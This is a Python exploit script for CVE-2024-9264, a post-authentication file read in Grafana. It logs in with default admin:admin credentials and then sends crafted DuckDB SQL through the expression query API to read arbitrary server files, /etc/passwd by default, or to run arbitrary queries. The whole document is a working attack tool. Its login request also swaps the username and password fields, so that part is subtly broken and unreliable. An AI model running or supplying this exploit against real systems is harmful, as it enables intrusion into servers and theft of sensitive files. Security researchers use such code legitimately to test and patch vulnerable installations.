#!/usr/bin/env python3
# https://github.com/nollium/CVE-2024-9264/tree/main
# - Requirements (install with pip):
# ten
# psycopg2-binary
from ten import *
from tenlib.flow.console import get_console
from typing import cast, List, Dict, Optional, Any
from psycopg2.extensions import adapt
import sys
# Force ten to output to stderr so the user can redirect the file output separately from the message log
# E.g: python3 CVE-2024-9264.py -f /etc/passwd http://localhost:3000 > file.txt 2> logs.txt
console = get_console()
console.stderr = True
@inform("Logging in with provided or default credentials")
def authenticate(session: ScopedSession, user: str, password: str) -> None:
path = "/login"
data = {"password": user, "user": password}
res = session.post(path, json=data)
msg = res.json()["message"]
if msg == "Logged in":
msg_success(f"Logged in as {user}:{password}")
else:
failure(f"Failed to log in as {user}:{password}")
@inform("Running duckdb query")
def run_query(session: ScopedSession, query: str) -> Optional[List[Any]]:
path = "/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101"
data = {
"from": "1729313027261",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__",
},
"expression": query,
"hide": False,
"refId": "B",
"type": "sql",
"window": "",
}
],
"to": "1729334627261",
}
res = session.post(path, json=data)
data = cast(Dict, res.json())
if data.get("message"):
msg_failure("Received unexpected response:")
msg_failure(json.encode(data, indent=4)) # prettify json
return None
values = data["results"]["B"]["frames"][0]["data"]["values"]
values = cast(List, values)
if len(values) == 0:
failure("File not found")
msg_success("Successfully ran duckdb query:")
msg_success(f"{query}:")
return values
# Output's non-printable characters are unicode escaped
def decode_output(values: List[str]) -> bytes:
content = values[0][0]
decoded = content.encode("utf-8").decode("unicode_escape").encode("latin1")
return decoded
@entry
@arg("url", "URL of the Grafana instance to exploit")
@arg("user", "Username to log in as, defaults to 'admin'")
@arg("password", "Password used to log in, defaults to 'admin'")
@arg("file", "File to read on the server, defaults to '/etc/passwd'")
@arg("query", "Optional query to run instead of reading a file")
def main(url, user="admin", password="admin", file=None, query=None):
"""Exploit for Grafana post-auth file-read (CVE-2024-9264)."""
if file and query:
failure(
"Cannot specify both file and query arguments at the same time."
)
session = ScopedSession(base_url=url)
authenticate(session, user, password)
# Escape DuckDB string using PostgresSQL syntax:
# https://stackoverflow.com/questions/77964687/what-do-i-need-to-escape-for-strings-in-duckdb
if not query:
file = file or "/etc/passwd"
escaped_filename = adapt(file)
query = f"SELECT content FROM read_blob({escaped_filename})"
content = run_query(session, query)
if content:
if file:
msg_success(f"Retrieved file {file}:")
# Send raw bytes to stdout
decoded = decode_output(content)
# Print the file contents to stdout
console.file.flush()
console.stderr = False
bin_print(decoded)
else:
# Output the raw "results" json object
print(json.encode(content, indent=4))
# pylint: disable=no-value-for-parameter
main()
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